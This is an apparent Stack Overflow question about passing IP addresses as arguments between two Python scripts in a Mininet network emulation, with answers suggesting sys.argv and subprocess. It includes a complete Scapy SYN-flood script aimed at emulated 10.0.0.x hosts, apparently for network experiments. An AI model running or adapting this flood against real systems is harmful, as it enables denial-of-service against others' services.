2

I used following python script to create a custom topology in mininet using sudo Python My_topology.py :

from mininet.topo import Topo
from mininet.node import Node
from mininet.net import Mininet
from mininet.cli import CLI
from mininet.node import RemoteController
import os
import sys

logging.getLogger().setLevel(logging.INFO)

class MyTopo (Topo):

    def __init__(self, ipBase='10.0.0.0/8'):
        Topo.__init__(self)

        global host_list
        # Add hosts and switches
        s1 = self.addSwitch('s1')

        for i in range(1, 21):
            self.addHost('h%s'%i)
            host_list.append('h%s'%i)
            self.addLink('h%s'%i, s1)

def attack():
    h1 = net.get('h1')
    h1.cmd('sudo python .../My_SYNflood_attack.py')

topo = MyTopo()
net = Mininet(topo, controller=lambda name: RemoteController(name,
              ip= '127.0.0.1', protocol= 'tcp', port= 6633), autoSetMacs= True)
net.start()
attack()
CLI(net)
net.stop()

As you see in attack function I used another .py script to send TCP packets from host h1 t another host. My_SYNflood_attack.py is as follow:

from scapy.all import *
import os
import sys
import random
import argparse
srcIP = '10.0.0.1'
dstIP = '10.0.0.10'
srcPort = 5555
dstPort = 4444

def randInt():
    x = random.randint(1000,9000)
    return x    

def SYN_Flood(srcIP,dstIP,dstPort,counter):
    total = 0
    print("Packets are sending ...")
    for x in range (0,counter):
        s_port = randInt()
        s_eq = randInt()
        w_indow = randInt()
        IP_Packet = IP ()
        IP_Packet.src = srcIP
        IP_Packet.dst = dstIP
        TCP_Packet = TCP ()
        TCP_Packet.sport = s_port
        TCP_Packet.dport = dstPort
        TCP_Packet.flags = "S"
        TCP_Packet.seq = s_eq
        TCP_Packet.window = w_indow
        send(IP_Packet/TCP_Packet, verbose=0)
        total+=1
    sys.stdout.write("\nTotal packets sent: %i\n" % total)

def main():
    SYN_Flood(srcIP, dstIP,dstPort,10)# 10 is number of packets

if __name__ == "__main__":
    main()

So as you see in second script I set source and destination IP address statically, now I want to send source an destination IP address from first script and call My_SYNflood_attack.py in attack function like this: h1.cmd('sudo python .../My_SYNflood_attack.py 10.0.0.2 10.0.0.3') How can I do it??

4
  • Why don't you just import the second script into your first and then create the object and call your methods. Commented Jun 26, 2018 at 13:38
  • I believe you are using system calling second script because this is remote calling. In other case you could simply use import and call SYN_Flood method directly. Anyway command line parameters of python script can be read from sys.argv. Here are some tips how to use it. Usually it is more convinient to use argparse module to parse command line arguments. Commented Jun 26, 2018 at 13:39
  • @Jimenemex because I want to run second script for each node individually in its cmd instead of using xterm. Commented Jun 26, 2018 at 13:48
  • @running.t I use sys.argv and it seems work correctly. thanks Commented Jun 26, 2018 at 14:50

2 Answers 2

2

are you looking for something like this?

def attack():
    h1 = net.get('h1')
    h1.cmd('sudo python .../My_SYNflood_attack.py 10.0.0.2, 10.0.0.3')

and:

scrIP = sys.argv[1]
dstIP = sys.argv[2]
Sign up to request clarification or add additional context in comments.

Comments

0

You can use to call another python script with arguments:

subprocess.call(['python', '.../My_SYNflood_attack.py.py', somescript_arg1, somescript_val1,...])

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.